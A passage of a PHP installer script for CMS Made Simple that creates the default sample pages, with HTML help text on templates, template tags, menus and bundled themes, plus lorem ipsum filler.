	'<p>These are the basic steps when creating a website with CMS Made Simple:</p><ol><li><em>Plan</em> -- Determine what pages you want (structure) and how you want  these pages to look (design). </li><li><em>Create Templates</em> -- Create one or several template(s) that  determine the layout of your pages. </li><li><em>Style the Templates</em> -- Attach one or more stylesheets to each  template and style the layout and content with CSS. </li><li><em>Create Pages</em> -- Then you create pages, add content to them and  select what template to use for each page. </li></ol><p>When a user navigates to your site the page is created from the template,  adding the content where the placeholder(s) are in the template.</p>');
$contentobj->Save();
$content_list[$contentobj->Name()] = $contentobj->Id();

// Where do I get Help / How CMSMS Works / Left simple navigation + 1 column
$contentobj = new Content;
$contentobj->SetName('Where do I get help?');
$contentobj->SetAlias();
$contentobj->SetMenuText('Where do i get help?');
$contentobj->SetPropertyValue('searchable',1);
$contentobj->SetPropertyValue('design_id',$leftsimple_1col_theme->get_id());
$contentobj->SetTemplateId($template_list['Left simple navigation + 1 column']);
$contentobj->SetOwner(1);
$contentobj->SetParentId($content_list['How CMSMS Works']);
$contentobj->SetActive(TRUE);
$contentobj->SetShowInMenu(TRUE);
$contentobj->SetCachable(TRUE);
$contentobj->SetPropertyValue('content_en',
	'<p>The CMS Made Simple community is always at your service if you need some help with your site. Here is where you find more information and support:</p><ul><li><a class="external" href="http://docs.cmsmadesimple.org/">The CMSMS Documentation Website</a> -- Start here, the documentation is maintained by the CMSMS Dev-team</li><li><a class="external" href="http://forum.cmsmadesimple.org/">The CMSMS Forums</a> -- here you can search for answers to your questions or ask just about anything.</li><li><a class="external" href="http://cmsmadesimple.org/main/support/IRC">IRC</a> -- IRC is short for Internet Relay Chat and is like a community chat. Many developers hang out here and others that are ready to discuss and give support.</li></ul><p>Please remember that people involved in developing and supporting CMSMS have day jobs and other duties and might not be available 24/7. Be patient and polite and you will get better answers.</p><p>Hope you will enjoy using CMS Made Simple for creating your web sites! If you want to contribute to the development yourself, you are very welcome to do so. You can contact us on <a class="external" href="http://cmsmadesimple.org/main/support/IRC">IRC</a> or hit the <a class="external" href="http://forum.cmsmadesimple.org/">forums</a> to get involved.</p>');
$contentobj->Save();
$content_list[$contentobj->Name()] = $contentobj->Id();

///////////////////////////////////////////
//  //  DEFAULT TEMPLATES EXPLAINED  //  //
///////////////////////////////////////////

// Default Templates Explained / -1 / Left simple navigation + 1 column
$contentobj = new Content;
$contentobj->SetName('Default Templates Explained');
$contentobj->SetAlias();
$contentobj->SetMenuText('Default Templates Explained');
$contentobj->SetPropertyValue('searchable',1);
$contentobj->SetPropertyValue('design_id',$leftsimple_1col_theme->get_id());
$contentobj->SetTemplateId($template_list['Left simple navigation + 1 column']);
$contentobj->SetOwner(1);
$contentobj->SetAlias('default_templates');
$contentobj->SetParentId(-1);
$contentobj->SetActive(TRUE);
$contentobj->SetShowInMenu(TRUE);
$contentobj->SetCachable(TRUE);
$contentobj->SetPropertyValue('content_en',
			      '<p>CMS Made Simple {cms_version} was installed with numerous default templates (you choose this during the installation process). These are to display some of the features of CMS Made Simple and to give you a head start when creating your own web sites.</p><p>The tags that are unique to templates in CMS Made Simple are described on the page {cms_selflink page=\'cmsms_tags\' text=\'CMSMS tags in the templates\'} (see menu to the left). Click on any link beneath that page in the menu to the left to see what the default templates look like.</p><h4>Changing the style of Default Templates</h4><p>All of the templates and style sheets have comments throughout them to help you find where to change the look of them.</p><h3>Menus/navigation</h3><p>Two kinds of navigation are used in these templates. For each there is a menu template in the Menu Manager. <strong>CSSMenu </strong>is a dropdown menu using only CSS. Well, for Internet Explorer 6 some JavaScript has to be used... Two of the page templates are using CSSMenu for navigation, {cms_selflink page=\'cssmenu_horizontal\' text=\'one with the menu horizontally at the top\'} and the other {cms_selflink page=\'cssmenu_vertical\' text=\'with the menu vertically to the left\'}.</p><p>The other navigation type is what we call <strong>Simple Navigation</strong>. That is just an unordered list that gets its style and appearance from the style sheets (CSS). Also here {cms_selflink page=\'top_left\' text=\'one page template is using a horizontal simple navigation\'} and the other {cms_selflink page=\'navleft\' text=\'a vertical menu\'}.</p><p>The menu tag in each template is used like this: <code>{ldelim}menu template=\'cssmenu\'}</code>, where the <code>cssmenu</code> is the name of the Menu Manager template, if you make a custom menu template you don\'t need to use the  on the end. More parameters can be used, for example to start a menu from the second level, collapse the children pages until the parent is clicked etc. Read more about that in the Menu Manager Help in the Admin Panel.</p>');
$contentobj->Save();
$content_list[$contentobj->Name()] = $contentobj->Id();

// CMSMS tags in the templates / Default Templates Exlplained / Left simple navigation + 1 column
$contentobj = new Content;
$contentobj->SetName('CMSMS tags in the templates');
$contentobj->SetAlias();
$contentobj->SetMenuText('CMSMS tags in the templates');
$contentobj->SetPropertyValue('searchable',1);
$contentobj->SetPropertyValue('design_id',$leftsimple_1col_theme->get_id());
$contentobj->SetTemplateId($template_list['Left simple navigation + 1 column']);
$contentobj->SetOwner(1);
$contentobj->SetAlias('cms_tags');
$contentobj->SetParentId($content_list['Default Templates Explained']);
$contentobj->SetActive(TRUE);
$contentobj->SetShowInMenu(TRUE);
$contentobj->SetCachable(TRUE);
$contentobj->SetPropertyValue('content_en',
	'<p>Here we explain the tags that are used in the default templates that are specific to templates in CMS Made Simple. The rest of the templates are just pure HTML. You can read more about that in the <a class="external" href="http://docs.cmsmadesimple.org/layout/create-your-own-template">documentation website</a>.</p><div class="templatecode"><h3>Page title</h3><pre>&lt;title&gt;{ldelim}sitename} - {ldelim}title}&lt;/title&gt;</pre><p>For each page using these tags in a template the tags are replaced with the site name you specify in Site Admin &raquo; Global settings and the title you specify when you add/edit each page.</p><p><em>Read more</em> about the <code>{ldelim}sitename}</code> and <code>{ldelim}title}</code> tags in Extensions &raquo; Tags in the Admin Panel.</p></div><div class="templatecode"><h3>Metadata</h3><pre>{ldelim}metadata}</pre><p>This tag adds to your page any metadata that you have specified in Site Admin &raquo; Global settings and also page specific metadata that you can add under the Options tab when adding/editing a page.</p><p>It is also used for knowing the base folder for your site when using pretty URLs. So don\'t remove this if you use Pretty URLs!</p><p><em>Read more</em> about the <code>{ldelim}metadata}</code>tag in Extensions &raquo; Tags in the Admin Panel.</p></div><div class="templatecode"><h3>Stylesheets (deprecated)</h3><pre>{ldelim}stylesheet}</pre><p>This tag links to all style sheets (CSS) that you have attached to a template. It means that you only have to add this tag once and all attached style sheets will be linked automatically.</p><p><em>Read more</em> about the <code>{ldelim}stylesheet}</code> tag in Extensions &raquo; Tags in the Admin Panel.</p></div><div class="templatecode"><h3>Stylesheets</h3><pre>{ldelim}cms_stylesheet}</pre><p>This tag is the newer version of the tag above. The tag links to all style sheets (CSS) that you have attached to a template. It means that you only have to add this tag once and all attached style sheets will be linked automatically.</p><p>The new tag allows you to use smarty variables like [[$red]] to indicate a color, and one change will change it througout your layout. The new tag requires that [[root_url]]/ be put in front of images, as the stylesheets are cached.</p><p><em>Read more</em> about the <code>{ldelim}cms_stylesheet}</code> tag in Extensions &raquo; Tags in the Admin Panel.</p></div><div class="templatecode"><h3>Relational links</h3><pre>{ldelim}cms_selflink dir="start" rellink=1}{ldelim}cms_selflink dir="prev" rellink=1}{ldelim}cms_selflink dir="next" rellink=1}</pre><p>These are relational links for interconnections between pages, which is good for accessibility and Search Engine Optmization</p><p><em>Read more</em> about the <code>{ldelim}cms_selflink}</code> tag in Extensions &raquo; Tags in the Admin Panel.</p></div><div class="templatecode"><h3>Page width in Internet Explorer 6</h3><pre>{ldelim}literal}&lt;script type="text/JavaScript"&gt;&lt;!--//pass min and max -measured against window widthfunction P7_MinMaxW(a,b){ldelim}	var nw="auto",w=document.documentElement.clientWidth;	if(w&gt;=b){ldelim}nw=b+"px";}if(w&lt;=a){ldelim}nw=a+"px";}return nw;}//--&gt;&lt;/script&gt;&lt;!--[if lte IE 6]&gt;&lt;style type="text/css"&gt;#pagewrapper {ldelim}width:expression(P7_MinMaxW(720,950));}#container {ldelim}height: 1%;}&lt;/style&gt;&lt;![endif]--&gt;{ldelim}/literal}</pre><p>This isn\'t a tag really, but displays how to insert JavaScript in a CMSMS template.</p><p>The default templates use fluid page width. But Internet Explorer 6 doesn\'t understand min-width and max-width, so for that browser the min and max page width is set with this JavaScript. For other browsers the page width is set in the style sheets beginning with "Layout ..."</p></div><div class="templatecode"><h3>Skip links for accessibility</h3><pre>{ldelim}anchor anchor=\'main\' title=\'Skip to content\' accesskey=\'s\' text=\'Skip to content\'}</pre><p>Anchor links (links to an anchor in the same page) are inserted with the <code>{ldelim}anchor}</code> tag. In the default templates this is used for skip links that are visible to screen readers, but hidden with CSS to visual browsers.</p><p><em>Read more</em> about the <code>{ldelim}anchor}</code> tag in Extensions &raquo; Tags in the Admin Panel.</p></div><div class="templatecode"><h3>Header with logo image that links to default page</h3><pre>{ldelim}cms_selflink dir="start" text="$sitename"}</pre><p>In the header the &lt;h1&gt; tag (hidden by CSS) is a link to the page that is selected as the default page. The <code>dir="start"</code> parameter in the {ldelim}cms_selflink} tag is used for this. To get the site name as the text for the link, the <code>$sitename</code> variable is used.</p><p><em>Read more</em> about the <code>{ldelim}cms_selflink}</code> tag in Extensions &raquo; Tags in the Admin Panel.</p></div><div class="templatecode"><h3>Search</h3><pre>{ldelim}search}</pre><p>To insert a search form on your site, simply use the {ldelim}search} tag. Search is actually a module and should therefore be called as a parameter in the {ldelim}cms_module} tag, like this: <code>{ldelim}cms_module module=\'search\'}</code>. But to simplify matters, we did a wrapper tag so that it\'s easier to remember.</p><p><em>Read more</em> about the Search module in Extensions &raquo; Modules in the Admin Panel.</p></div><div class="templatecode"><h3>Breadcrumbs</h3><pre>{ldelim}breadcrumbs starttext=\'You are here\' root=\'Home\' delimiter=\'&raquo;\'}</pre><p>Breadcrumbs is a path to the current page. In the default templates we have chosen to put the text \'You are here\' before the path and force \'Home\' to always be the root in the path, even if it isn\'t. With the delimiter parameter you can select the delimiter that separates entries in the path.</p><p><em>Read more</em> about the <code>{ldelim}breadcrumbs}</code> tag in Extensions &raquo; Tags in the Admin Panel.</p></div><div class="templatecode"><h3>Navigation</h3><pre>{ldelim}menu template=\'simple navigation\' collapse=\'1\'}</pre><p>This is how you insert a menu where you want it to appear. Like the <code>{ldelim}search}</code> tag, this is actually just a wrapper tag, as the Menu Manager is a module.</p><p>In the default templates the menu manager template that is used for the menus are stored in files. That\'s why you see the .tpl extension in the template parameter. But you can easily import menu templates to the database and edit them directly in the Admin Panel. Then you simply omit the .tpl extension in the template parameter.</p><p><em>Read more</em> about the Menu Manager module in Extensions &raquo; Modules in the Admin Panel.</p></div><div class="templatecode"><h3>News</h3><pre>{ldelim}news number=\'3\' detailpage=\'news\'}</pre><p>This tag will display the last three news articles. When clicking a news article to read the details, it is opened on the page with the page alias \'news\'. That\'s what the detailpage parameter is doing.</p><p>Like all core modules there is a wrapper tag for the News module, to make it easier to use.</p><p><em>Read more</em> about the News module tag in Extensions &raquo; News in the Admin Panel.</p></div><div class="templatecode"><h3>Print button</h3><pre>{ldelim}print showbutton=true script=true}</pre><p>The <code>{ldelim}print}</code> tag is used to insert a print link. With the showbutton parameter set to true we have told the tag to output a button instead of text. The script parameter set to true means the print dialog window opens when clicking the button, for immediate printing.</p><p>The <code>{ldelim}print}</code> tag prints everything that is in your <code>{ldelim}content}</code> tag, that is only the content for a page.</p><p><em>Read more</em> about the <code>{ldelim}print}</code> tag in Extensions &raquo; Tags in the Admin Panel.</p></div><div class="templatecode"><h3>Page content</h3><pre>&lt;h2&gt;{ldelim}title}&lt;/h2&gt;{ldelim}content}</pre><p>Maybe the most important tag in your template. Where you put the <code>{ldelim}content}</code> is where the content for your page will appear.</p><p>We have also chosen to put the page title on every page (the <code>{ldelim}title}</code> tag), so that you don\'t have to put that in the content for every page.</p><p>The default <code>{ldelim}content}</code> tag is <strong>required</strong> for all templates.</p><p><em>Read more</em> about the <code>{ldelim}content}</code> and <code>{ldelim}title}</code> tags in Extensions &raquo; Tags in the Admin Panel.</p></div><div class="templatecode"><h3>Previous/next links</h3><pre>{ldelim}anchor anchor=\'main\' text=\'^ Top\'}{ldelim}cms_selflink dir="previous"}{ldelim}cms_selflink dir="next"}</pre><p>Some more internal links. These are using the dir parameter to link to the previous and next pages in the page hierarchy (separators and section headers will be omitted as they are no pages).</p></div><div class="templatecode"><h3>Page footer</h3><pre>{ldelim}global_content name=\'footer\'}</pre><p>Instead of bloating your template with lots of code you can put some code in a Global Content Block. Then call that Global Content Block with the <code>{ldelim}global_content}</code> tag. It\'s also useful for content or HTML code that is reused on several pages or templates.</p><p>In the default templates we have put the footer text in a Global Content Block with the name \'footer\'. You find the Global Content Blocks in the Content menu in the Admin Panel.</p><p><em>Read more</em> about the <code>{ldelim}global_content}</code> tag in Extensions &raquo; Tags in the Admin Panel.</p></div>');
$contentobj->Save();
$content_list[$contentobj->Name()] = $contentobj->Id();

// Left simple navigation + 1 column / Default Templates Explained / Left simple navigation + 1 column
$contentobj = new Content;
$contentobj->SetName('Left simple navigation + 1 column');
$contentobj->SetAlias();
$contentobj->SetMenuText('Left simple navigation + 1 column');
$contentobj->SetPropertyValue('searchable',1);
$contentobj->SetPropertyValue('design_id',$leftsimple_1col_theme->get_id());
$contentobj->SetTemplateId($template_list['Left simple navigation + 1 column']);
$contentobj->SetOwner(1);
$contentobj->SetAlias('navleft');
$contentobj->SetParentId($content_list['Default Templates Explained']);
$contentobj->SetActive(TRUE);
$contentobj->SetShowInMenu(TRUE);
$contentobj->SetCachable(TRUE);
$contentobj->SetPropertyValue('content_en',
	'<p>This template has the menu in left sidebar. The menu is using the <strong>Simple Navigation</strong> menu template. It is styled in the stylesheet called <strong>Navigation Simple - Vertical</strong>.</p><p>You can easily float the sidebar with the menu to the right instead. Look in the <strong>Layout Left sidebar + 1 column</strong> style sheet for the <code>float:left;</code> property in the <code>div#sidebar</code> element. Change that to <code>float:right;</code> and the sidebar with the menu will instead be on the right side of the content, of course you will also have to adjust the margins for the sidebar and the div#main, basically just swap the left and right margins.</p>');
$contentobj->Save();
$content_list[$contentobj->Name()] = $contentobj->Id();

// Top simple navigation + left subnavigation + 1 column / Default Templates Explained / Top simple navigation + left subnavigation + 1 column
$contentobj = new Content;
$contentobj->SetName('Top simple navigation + left subnavigation + 1 column');
$contentobj->SetAlias();
$contentobj->SetMenuText('Top simple navigation + left subnavigation + 1 column');
$contentobj->SetPropertyValue('searchable',1);
$contentobj->SetPropertyValue('design_id',$topsimple_leftsubnav_1col_theme->get_id());
$contentobj->SetTemplateId($template_list['Top simple navigation + left subnavigation + 1 column']);
$contentobj->SetOwner(1);
$contentobj->SetAlias('top_left');
$contentobj->SetParentId($content_list['Default Templates Explained']);
$contentobj->SetActive(TRUE);
$contentobj->SetShowInMenu(TRUE);
$contentobj->SetCachable(TRUE);
$contentobj->SetPropertyValue('content_en',
	'<p>With the Menu Manager you can easily split the navigation in two parts. On this page the top level in the page hierarchy is displayed horizontally and depending on what page is displayed a localized sub-menu is displayed vertically to the left. In this case the sub-menu to the left displays the sub-levels (children) to <strong>Default Templates Explained</strong>.</p><h3>The {ldelim}menu} tag</h3><p>The <code>{ldelim}menu}</code> tag is inserted twice in the page template. First where the main navigation is, which should only show the top level. It looks like this: <code>{ldelim}menu template=\'Simple Navigation\' number_of_levels=\'1\'}</code>.</p><p>The sub navigation should only contain the second level and down, depending on what is selected on the first level. Also, the third level links should only display when its parent on the second level is clicked, otherwise they are hidden. That is, the second level is collapsed unless the current page has sub pages.</p><p>The tag for the sub navigation looks like this: <code>{ldelim}menu template=\'simple_navigation.tpl\' start_level=\'2\' collapse=\'1\'}</code>.</p><h3>Attached style sheets for the menu</h3><p>As the main navigation and the sub navigation need to be styled differently (one horizontal, the other vertical), two navigation style sheets are attached to this page template. <strong>Navigation Simple - Horizontal</strong> is for styling the horizontal main menu. <strong>Navigation Simple - Vertical</strong> on the other hand, contains the style for the sub navigation to the left.</p><h3>Both using the same Menu Manager template</h3><p>However, as you could see, both parts of the navigation are using the same menu manager template. That is because the output code is the same. It is only through CSS that the two parts get styled differently.</p><h3>Floating the sidebar to the right</h3><p>You can easily float the sidebar with the sub navigation to the right instead. Look in the <strong>Layout Top menu + 2 columns</strong> style sheet for the <code>float:left;</code> property in the <code>div#sidebar</code> element. Change that to <code>float:right;</code> and the sidebar with the menu will instead be on the right side of the content, of course you will also have to adjust the margins for the sidebar and the div#main, basically just swap the left and right margins.</p>');
$contentobj->Save();
$content_list[$contentobj->Name()] = $contentobj->Id();

// CSSMenu top + 2 columns / Default Templates Explained / CSSMenu top + 2 columns
$contentobj = new Content;
$contentobj->SetName('CSSMenu top + 2 columns');
$contentobj->SetAlias();
$contentobj->SetMenuText('CSSMenu top + 2 columns');
$contentobj->SetPropertyValue('searchable',1);
$contentobj->SetPropertyValue('design_id',$css_menutop_2col_theme->get_id());
$contentobj->SetTemplateId($template_list['CSSMenu top + 2 columns']);
$contentobj->SetOwner(1);
$contentobj->SetAlias('cssmenu_horizontal');
$contentobj->SetParentId($content_list['Default Templates Explained']);
$contentobj->SetActive(TRUE);
$contentobj->SetShowInMenu(TRUE);
$contentobj->SetCachable(TRUE);
$contentobj->SetPropertyValue('content_en',
	'<p>This is a drop-down menu that is using only CSS (although some Javascript is required for Internet Explorer 6, note: IE6 will not let you use 2 of these menu types in a template at the same time as the second one will fail to open). It can be either vertical or horizontal.</p><p>The code we have inserted in the template that this page is using is simply <code>{ldelim}menu template=\'cssmenu.tpl\'}</code>.  You style the menu in the stylesheet <strong>Navigation CSSMenu - Horizontal</strong> or <strong>Navigation CSSMenu - Vertical</strong> for the vertical CSSMenu.</p><p>But to be on the safe side, copy this style sheet and attach your new style sheet to the template instead (and make your changes in your new style sheet). Then you can always revert to the default style sheet if something goes wrong.</p>');
$contentobj->SetPropertyValue('Sidebar',
	'<p>Just some test content goes here as an example of a very long sentence that probably should have been divided into several smaller sentences, were it not for this just being a test sentence on one of the default pages of CMS Made Simple, an excellent Content Management System for easily creating web sites, this sentence is added when adding/editing a page in the Sidebar: text area, this comes from the template place holder {ldelim}content block=\'Sidebar\'}.</p>');
$contentobj->Save();
$content_list[$contentobj->Name()] = $contentobj->Id();

// CSSMenu left + 1 column / Default Templates Explained / CSSMenu left + 1 column
$contentobj = new Content;
$contentobj->SetName('CSSMenu left + 1 column');
$contentobj->SetAlias();
$contentobj->SetMenuText('CSSMenu left + 1 column');
$contentobj->SetPropertyValue('searchable',1);
$contentobj->SetPropertyValue('design_id',$css_menuleft_1col_theme->get_id());
$contentobj->SetTemplateId($template_list['CSSMenu left + 1 column']);
$contentobj->SetAlias('cssmenu_vertical');
$contentobj->SetOwner(1);
$contentobj->SetParentId($content_list['Default Templates Explained']);
$contentobj->SetActive(TRUE);
$contentobj->SetShowInMenu(TRUE);
$contentobj->SetCachable(TRUE);
$contentobj->SetPropertyValue('content_en',
	'<p>This is basically the same as the last one, CSSMenu top + 2 column, with the menu on the left instead of across the top there isn\'t a whole lot to say about it.</p><h3>Filler Text</h3><p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Ut ac leo in lorem ultricies sollicitudin. Vivamus molestie elit nec nulla. Suspendisse potenti. Suspendisse at lorem. Donec pulvinar, magna eget molestie pretium, justo sem iaculis urna, eget condimentum nibh augue pellentesque arcu. Integer tristique tempor mauris. Sed justo orci, commodo volutpat, sagittis vitae, varius vitae, massa. Maecenas pede ligula, iaculis sit amet, pharetra eu, adipiscing consectetuer, eros. Duis ullamcorper nisl ac magna. Nunc neque dolor, posuere dapibus, convallis non, tristique sed, nibh. Suspendisse quis leo. Phasellus pretium erat ut purus. Duis facilisis consectetuer sapien. Nulla eget pede ut nisl faucibus consequat. Quisque erat lectus, luctus in, pellentesque ac, adipiscing eu, enim. Donec ultrices laoreet urna.</p><h3>Subheading</h3><p>Vestibulum vitae tellus. Fusce quis ligula. Cras mi. Mauris congue, lacus eget rhoncus venenatis, mi nunc volutpat nisl, ut ornare erat augue quis mauris. Nulla in sem. Donec semper odio ac ante. Cras a libero in risus mattis commodo. Phasellus pellentesque lectus. Donec a mi. Integer euismod neque at arcu. Morbi ligula nulla, dapibus nec, fermentum ut, tristique vel, pede. Morbi at diam. Vestibulum quam. Cras consectetuer wisi id neque. Etiam dictum vulputate ligula. Aliquam erat volutpat. Proin vitae lorem in justo imperdiet nonummy. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Suspendisse leo. Sed in eros ut lectus lacinia condimentum.</p>');
$contentobj->Save();
$content_list[$contentobj->Name()] = $contentobj->Id();

// Minimal template / Default Templates Explained / Minimal template
$contentobj = new Content;
$contentobj->SetName('Minimal template');
$contentobj->SetAlias();
$contentobj->SetMenuText('Minimal template');
$contentobj->SetPropertyValue('searchable',1);
$contentobj->SetPropertyValue('design_id',$minimal_theme->get_id());
$contentobj->SetTemplateId($template_list['Minimal']);
$contentobj->SetOwner(1);
$contentobj->SetParentId($content_list['Default Templates Explained']);
$contentobj->SetActive(TRUE);
$contentobj->SetShowInMenu(TRUE);
$contentobj->SetCachable(TRUE);
$contentobj->SetPropertyValue('content_en',
	'<p>This is an example of the very minimal that needs to be in a CMSMS template. No stylesheet is attached to the template, which is why it doesn\'t look very nice...</p><p>However, to make it slightly more appealing, some inline styling was used, for floating the content to the right of the menu.</p><p>The menu in this page template is using the <strong>Minimal Navigation</strong> template for Menu Manager. No accessibility stuff is in there, so it\'s recommended that the <strong>Simple Navigation</strong> menu template is rather used.</p>');
$contentobj->Save();
$content_list[$contentobj->Name()] = $contentobj->Id();

// Higher End / Default Templates Explained / Left simple navigation + 1 column
$contentobj = new Content;
$contentobj->SetName('Higher End');
$contentobj->SetAlias();
$contentobj->SetMenuText('Higher End');
$contentobj->SetPropertyValue('searchable',1);
$contentobj->SetPropertyValue('design_id',$leftsimple_1col_theme->get_id());
$contentobj->SetTemplateId($template_list['Left simple navigation + 1 column']);
$contentobj->SetOwner(1);
$contentobj->SetParentId($content_list['Default Templates Explained']);
$contentobj->SetActive(TRUE);
$contentobj->SetShowInMenu(TRUE);
$contentobj->SetCachable(TRUE);
$contentobj->SetPropertyValue('content_en',
	'<p>These are more complex then some of the other templates, especially the menus, they all 3 use the same menu template. Which shows you the power of CSS.</p><p>Be forewarned, if you use IE6 you won\'t see the best effects in any of the shadow menus that you see using a more standards compliant browser. I mean it\'s still nice grant you but... just upgrade your browser if you can.</p><h3>The Differences</h3><p>Starting with NCleanBlue you get a really nice, subtle Tabbed menu, then it goes on to have a real nice drop down effect.</p><p>You get a real nice 2.0 header and footer, great color scheme and the search is way cool, it\'s just a great theme, what can I say, thanks Nuno.</p><p>Then the next 2 submenus have another version of the shadowed drop, the first step will point up for the top sub menu and to the right for the left sub menus.</p><p>These 2 are the same layout as CSSMenu top + 2 columns and CSSMenu left + 1 column,  respectively, except for the menu template and some CSS.</p><p>We hope you enjoy these, for any changes you want to make it\'s always best to copy the original style sheet for safe keeping, you never know when you may need it.</p>');
$contentobj->Save();
$content_list[$contentobj->Name()] = $contentobj->Id();

// NCleanBlue / Higher End / NCleanBlue
$contentobj = new Content;
$contentobj->SetName('NCleanBlue');
$contentobj->SetAlias();
$contentobj->SetMenuText('NCleanBlue');
$contentobj->SetPropertyValue('searchable',1);
$contentobj->SetPropertyValue('design_id',$ncleanblue_theme->get_id());
$contentobj->SetTemplateId($template_list['NCleanBlue']);
$contentobj->SetOwner(1);
$contentobj->SetParentId($content_list['Higher End']);
$contentobj->SetActive(TRUE);
$contentobj->SetShowInMenu(TRUE);
$contentobj->SetCachable(TRUE);
$contentobj->SetPropertyValue('content_en',
      '<p>Nuno has graciously supplied us with another of his great looking designs.</p><p>This one is using a new menu template so we can style the drop down for the children pages, using an image for the second ul going from the top down, it has an extra li at the bottom of the child pages ul &lt;li class="separator once" style="list-style-type: none;"&gt;&amp;nbsp; &lt;/li&gt; this is used to hold the bottom image.</p><h3>Filler Text</h3><p>Maecenas tristique, tortor nec eleifend luctus, nibh leo imperdiet wisi, et accumsan est lectus in orci. Proin facilisis, odio auctor feugiat accumsan, sapien purus iaculis dui, a volutpat augue pede ut sem. Nulla facilisi. Aliquam suscipit elementum ipsum. Morbi urna. Nam eros justo, varius sit amet, euismod eu, dictum nec, neque. Nullam id mi eu odio tempor adipiscing. Quisque hendrerit euismod nunc. Ut erat nulla, pellentesque nec, luctus eu, dictum nec, augue. Aliquam tincidunt sodales arcu. Nam porta sagittis quam. Vivamus eget purus egestas velit congue consectetuer.</p>');
$contentobj->Save();
$content_list[$contentobj->Name()] = $contentobj->Id();

// ShadowMenu Tab + 2 columns / Higher End / ShadowMenu Tab + 2 columns
$contentobj = new Content;
$contentobj->SetName('ShadowMenu Tab + 2 columns');
$contentobj->SetAlias();
$contentobj->SetMenuText('ShadowMenu Tab + 2 columns');
$contentobj->SetPropertyValue('searchable',1);
$contentobj->SetPropertyValue('design_id',$shadowmenu_tab_2col_theme->get_id());
$contentobj->SetTemplateId($template_list['ShadowMenu Tab + 2 columns']);
$contentobj->SetOwner(1);
$contentobj->SetParentId($content_list['Higher End']);
$contentobj->SetActive(TRUE);
$contentobj->SetShowInMenu(TRUE);
$contentobj->SetCachable(TRUE);
$contentobj->SetPropertyValue('content_en',
	'<p>Using the same menu template as the previous theme. We changed the child ul CSS to use a different top image. This involves changing some of the margin and padding as the images are a different shape. Note the difference in the second level and third level ul images, one has an arrow up and the other has an arrow left.</p><h3>Filler Text</h3><p>Curabitur ornare velit molestie nulla. Fusce fermentum facilisis mi. Maecenas volutpat, eros ac pellentesque mollis, urna elit rutrum turpis, congue convallis nibh erat nec purus. Sed malesuada consectetuer turpis. Nulla sollicitudin placerat augue. Vestibulum ut sem eget turpis laoreet cursus. Vestibulum ante urna, mollis eget, cursus eget, viverra non, lectus. Aliquam erat volutpat. Aenean gravida tempor nulla. Sed sem lorem, pulvinar non, placerat non, vestibulum sed, tellus. Phasellus fermentum velit id dui. Praesent vulputate. Nam in dui.</p><p>Maecenas tristique, tortor nec eleifend luctus, nibh leo imperdiet wisi, et accumsan est lectus in orci. Proin facilisis, odio auctor feugiat accumsan, sapien purus iaculis dui, a volutpat augue pede ut sem. Nulla facilisi. Aliquam suscipit elementum ipsum. Morbi urna. Nam eros justo, varius sit amet, euismod eu, dictum nec, neque. Nullam id mi eu odio tempor adipiscing. Quisque hendrerit euismod nunc. Ut erat nulla, pellentesque nec, luctus eu, dictum nec, augue. Aliquam tincidunt sodales arcu. Nam porta sagittis quam. Vivamus eget purus egestas velit congue consectetuer.</p>');
$contentobj->SetPropertyValue('Sidebar',
	'<h4>Filler Text</h4><p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Cras sodales gravida est. Nullam enim ipsum, convallis quis, iaculis quis, facilisis eu, felis. Proin euismod hendrerit tortor. Aliquam erat volutpat. Morbi tempus diam sit amet neque. Sed sem metus, sagittis vel, lobortis ac, tempus sit amet, wisi. Phasellus in diam. Maecenas ultrices rutrum mauris. Vestibulum dolor justo, blandit a, posuere quis, varius at, tellus. Vestibulum convallis. Nulla ut leo sed elit eleifend varius. Aenean eget est id lorem posuere laoreet.</p>');
$contentobj->Save();
$content_list[$contentobj->Name()] = $contentobj->Id();

// ShadowMenu left + 1 column / Higher End / ShadowMenu left + 1 column
$contentobj = new Content;
$contentobj->SetName('ShadowMenu Left + 1 column');
$contentobj->SetAlias();
$contentobj->SetMenuText('ShadowMenu Left + 1 column');
$contentobj->SetPropertyValue('searchable',1);
$contentobj->SetPropertyValue('design_id',$shadowmenu_left_1col_theme->get_id());
$contentobj->SetTemplateId($template_list['ShadowMenu left + 1 column']);
$contentobj->SetOwner(1);
$contentobj->SetParentId($content_list['Higher End']);
$contentobj->SetActive(TRUE);
$contentobj->SetShowInMenu(TRUE);
$contentobj->SetCachable(TRUE);
$contentobj->SetPropertyValue('content_en',
      '<p>Again using the same menu template as the two previous themes. We changed the child ul CSS to use a different top image. This involves changing some of the margin and padding as the images are a different shape. Note the second level and third level ul are now using the same image that has an arrow left.</p><h3>Filler Text</h3><p>Curabitur ornare velit molestie nulla. Fusce fermentum facilisis mi. Maecenas volutpat, eros ac pellentesque mollis, urna elit rutrum turpis, congue convallis nibh erat nec purus. Sed malesuada consectetuer turpis. Nulla sollicitudin placerat augue. Vestibulum ut sem eget turpis laoreet cursus. Vestibulum ante urna, mollis eget, cursus eget, viverra non, lectus. Aliquam erat volutpat. Aenean gravida tempor nulla. Sed sem lorem, pulvinar non, placerat non, vestibulum sed, tellus. Phasellus fermentum velit id dui. Praesent vulputate. Nam in dui.</p><p>Maecenas tristique, tortor nec eleifend luctus, nibh leo imperdiet wisi, et accumsan est lectus in orci. Proin facilisis, odio auctor feugiat accumsan, sapien purus iaculis dui, a volutpat augue pede ut sem. Nulla facilisi. Aliquam suscipit elementum ipsum. Morbi urna. Nam eros justo, varius sit amet, euismod eu, dictum nec, neque. Nullam id mi eu odio tempor adipiscing. Quisque hendrerit euismod nunc. Ut erat nulla, pellentesque nec, luctus eu, dictum nec, augue. Aliquam tincidunt sodales arcu. Nam porta sagittis quam. Vivamus eget purus egestas velit congue consectetuer.</p>');


// Welcome to Simplex / Default Templates Explained / Higher End / Simplex
$contentobj = new Content;
$contentobj->SetName('Welcome to Simplex');
$contentobj->SetAlias();
$contentobj->SetMenuText('Simplex Theme');
$contentobj->SetPropertyValue('searchable',1);
$contentobj->SetPropertyValue('design_id',$simplex_theme->get_id());
$contentobj->SetTemplateId($template_list['Simplex']);
$contentobj->SetOwner(1);
$contentobj->SetParentId($content_list['Higher End']);
$contentobj->SetActive(TRUE);
$contentobj->SetShowInMenu(TRUE);
$contentobj->SetCachable(TRUE);
$contentobj->SetPropertyValue('content_en',
